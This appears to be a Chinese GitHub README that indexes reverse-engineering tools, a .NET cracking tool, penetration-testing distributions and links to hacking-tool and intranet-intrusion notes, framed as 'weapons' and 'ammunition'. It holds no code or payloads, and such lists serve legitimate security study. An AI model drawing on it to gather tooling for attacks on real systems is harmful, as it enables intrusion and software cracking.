  • JD-GUI - 显示Java源代码“.class”文件的独立图形实用工具
  • procyon - 现代化开源Java反编译工具
  • androguard - 用于Android应用程序的逆向工程,恶意软件分析工具
  • JAD - JAD Java反编译工具(闭源, 不常更新)
  • dotPeek - JetBrains公司开发的免费的.NET反编译工具
  • ILSpy - 开源的集浏览和反编译.NET程序工具
  • dnSpy - 集编辑,反编译和调试.NET程序工具
  • de4dot - 破解.NET程序工具
  • antinet - 用于反编译和混淆代码的.NET程序工具
  • UPX - 终极封装可执行文件工具
  • radare2 - 便携式的逆向工程框架工具
  • plasma - 适用于x86/ARM/MIPS交互式反汇编,使用花指令语法代码生成伪代码。
  • Hopper - 适用于OS X和Linux反汇编/反编译32/64位Windows/MAC/LINUX/iOS的可执行文件工具
  • ScratchABit - 使用IDAPython兼容插件API轻松重新定位和可攻击的交互式反汇编工具 refer:L

后备能源

一切恐惧的来源并非是无知,是火力的不足。就算你的知识再强大,当你进攻的时候脑子力只有武器的设计图和理论却打不过别人的三板斧时,也是不行滴。

唯有强大的基础工业体系,一体化,武器化,工业化的后备资源,在消耗的时候才能让敌人感到恐惧,而不是自己,做到绝对的压制和维度的打击。不要再做井底之蛙了,该回家了 x.tw => x.tw.cn 。

资源

域名

空间

代理

  • /

武器

重量级武器平台

  • Kali Linux
  • Parrot Linux
  • 悬剑武器库
  • CTF_Tools—System
  • Hacker_Tools-System
  • Taie-RedTeam-OS

轻量级武器大全

弹药

众所周知,CVE 漏洞库中 99% 以上的漏洞只是无现实意义的编号

你是沙鹰还是格洛克?一些实时更新,高价值的漏洞在哪里呢,有没有人做这样的工作,当然是有的。

训练营

夺旗

加解密

参考以下大佬表哥圈子里的家人们优秀的笔记和互联大网资料

[1] https://www.rfc-editor.org/ - RFC相关协议信息
[2] https://github.com/Lucifer1993/awesome-hacking - 参考关键工具向
[3] https://github.com/Ridter/Intranet_Penetration_Tips - 渗透测试详细技巧
[4] https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml - IP协议号
[5] https://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers - 端口号
[6] https://www.freebuf.com/articles/network/317851.html - 参考这位老哥的物理设备归纳
[7] https://wintrysec.github.io/ - 渗透测试笔记
[8] https://github.com/awake1t/Awesome-hacking-tools - 参考工具
[9] https://blog.csdn.net/u013197629/article/details/73608613 - Linux权限

About

学而不思则罔,思而不学则殆💦

Topics

Resources

Stars

Watchers

Forks

Releases

Packages

Contributors